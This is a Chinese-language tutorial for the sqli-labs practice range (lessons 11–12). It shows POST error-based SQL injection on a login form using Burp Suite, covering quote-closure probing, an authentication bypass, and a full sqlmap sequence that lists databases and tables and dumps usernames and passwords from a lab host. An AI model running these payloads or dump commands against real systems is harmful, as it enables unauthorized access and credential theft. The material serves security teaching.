一)POST基于错误的注入
1)burpsuite抓取HTTP请求
2)POST基于错误的单引号注入
3)POST基于错误的双引号注入
4)sqlmap安全测试
——————————————————————————————————————————————————
一)POST基于错误的注入
1)burpsuite抓取HTTP请求
对于如何安装并使用burpsuite抓取数据包在本文中不做详解,如有需要请参见:
burpsuite安装教程(包含JDK安装和配置方法)
burpsuite工具的使用(详细讲解)
环境:
攻击机:192.168.67.143
目标主机:192.168.67.140
2)POST基于错误的单引号注入(less-12)
用burpsuite抓取Less-11的登录页面(使用错误的用户名和密码进行登录,正确应该是Dumb和Dumb)后将它发送到repeater模块:
在repeater模块中修改username的值将其变为 admin\ 之后点击 go 就会看见request框中error信息提示:
说明此时的正常SQL语句为:select username,password from admin where uname='xxx' and passwd='xxx';
而当我们加上 \
SQL语句就变成了:select username,password from admin where uname='xxx\' and passwd='xxx';
那么 ’ 就会将单引号进行转义变成字符 ’ 而无法将前一个单引号闭合,此时前一个单引号要等到passwd的前一个单引号出现才会与之闭合,但是这也导致了passwd的后一个单引号无法闭合从而使整体多出一个单引号。
判断是否存在SQL注入,是字符型还是数字型:
说明是字符型。
后续的具体操作步骤中所需的所有payload本文就不再重复讲解,详细内容请参见:
sqli-labs靶场实现(一)【GET基于报错的SQL注入】(less-1~4、具体步骤+图文详解)
3)POST基于错误的双引号注入(less-12)
抓包操作同上的 2):(使用错误的用户名和密码进行登录,正确应该是Dumb和Dumb)
当我们不确定是怎样进行闭合时,就先输入 \ 然后根据报错信息进行闭合:
所以是 ") 进行闭合:
此时通过利用SQL注入漏洞而是攻击者能够利用错误的账号密码进行登录。
如果想要进行进一步的暴库操作那么后续的具体操作步骤中所需的所有payload请参见:
sqli-labs靶场实现(一)【GET基于报错的SQL注入】(less-1~4、具体步骤+图文详解)
4)sqlmap安全测试
对于POST型的注入我们利用sqlmap的方法是:
1)burpsuite截断HTTP请求数据包;
2)在burpsuite中将截获的数据包copy到sqlmap目录下的一个target.txt文件中;
3)使用命令 python sqlmap.py -r target.txt -p 要探测可能存在SQL注入的参数;
4)接着开始进一步的暴库操作。
1)burpsuite截断HTTP请求数据包:
2)在burpsuite中将截获的数据包copy到sqlmap目录下的一个target.txt文件中;
3)使用命令 python sqlmap.py -r target.txt -p 要探测可能存在SQL注入的参数
python sqlmap.py -r target.txt -p passwd --technique E --batch
结果:
4)接着开始进一步的暴库操作:
python sqlmap.py -r target.txt -p passwd --technique E --current-db --batch
结果:
python sqlmap.py -r target.txt -p passwd --technique E -D security --tables --batch
结果:
python sqlmap.py -r target.txt -p passwd --technique E -D security -T users --columns --batch
结果:
python sqlmap.py -r target.txt -p passwd --technique E -D security -T users -C "username,password" --dump --batch
结果: